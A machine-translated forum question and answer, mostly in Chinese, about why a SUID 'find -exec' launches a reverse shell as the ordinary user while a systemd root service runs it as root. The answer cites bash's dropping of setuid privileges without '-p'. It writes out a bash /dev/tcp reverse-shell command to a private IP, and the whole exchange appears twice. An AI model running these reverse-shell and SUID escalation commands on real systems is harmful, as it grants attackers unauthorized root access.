SUID find -exec TCP 连接不是 root
SUID find -exec TCP connection not being root
假设/usr/bin/systemctl和/usr/bin/find 有 4755 (SUID) 权限和
有一项服务 root.service 通过 tcp 连接执行交互式 shell:
[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target
如果root.service作为非root用户执行(作为服务),交互的用户shell 创建的将是 root。
但是如果执行的命令是(也作为非root用户):
find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;
创建的交互式 shell 用户将是执行命令的同一非根用户。
另一方面,如果我以非根用户身份执行:
find . -exec whoami \;
会returnroot.
在这两种情况下,我都假设有一个 TCP 连接侦听指定的 IP 和端口。
我缺少关于 find -exec 功能的一些东西。
¿为什么会有这种差异?
这可能是因为 Bash doesn't like being setuid:
Invoked with unequal effective and real UID/GIDs
If Bash is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, [etc.] and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
具有有效的 UID != 真实的 UID 正是 setuid 进程所看到的,并且没有理由假设 find
会改变它,所以两个 UID 都继承到 Bash,然后丢弃通过 setuid 获得的 UID。
你或许也可以比较一下
find . -exec whoami \;
和
find . -exec bash -c whoami \;
假设/usr/bin/systemctl和/usr/bin/find 有 4755 (SUID) 权限和 有一项服务 root.service 通过 tcp 连接执行交互式 shell:
[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target
如果root.service作为非root用户执行(作为服务),交互的用户shell 创建的将是 root。
但是如果执行的命令是(也作为非root用户):
find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;
创建的交互式 shell 用户将是执行命令的同一非根用户。
另一方面,如果我以非根用户身份执行:
find . -exec whoami \;
会returnroot.
在这两种情况下,我都假设有一个 TCP 连接侦听指定的 IP 和端口。
我缺少关于 find -exec 功能的一些东西。
¿为什么会有这种差异?
这可能是因为 Bash doesn't like being setuid:
Invoked with unequal effective and real UID/GIDs
If Bash is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, [etc.] and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
具有有效的 UID != 真实的 UID 正是 setuid 进程所看到的,并且没有理由假设 find
会改变它,所以两个 UID 都继承到 Bash,然后丢弃通过 setuid 获得的 UID。
你或许也可以比较一下
find . -exec whoami \;
和
find . -exec bash -c whoami \;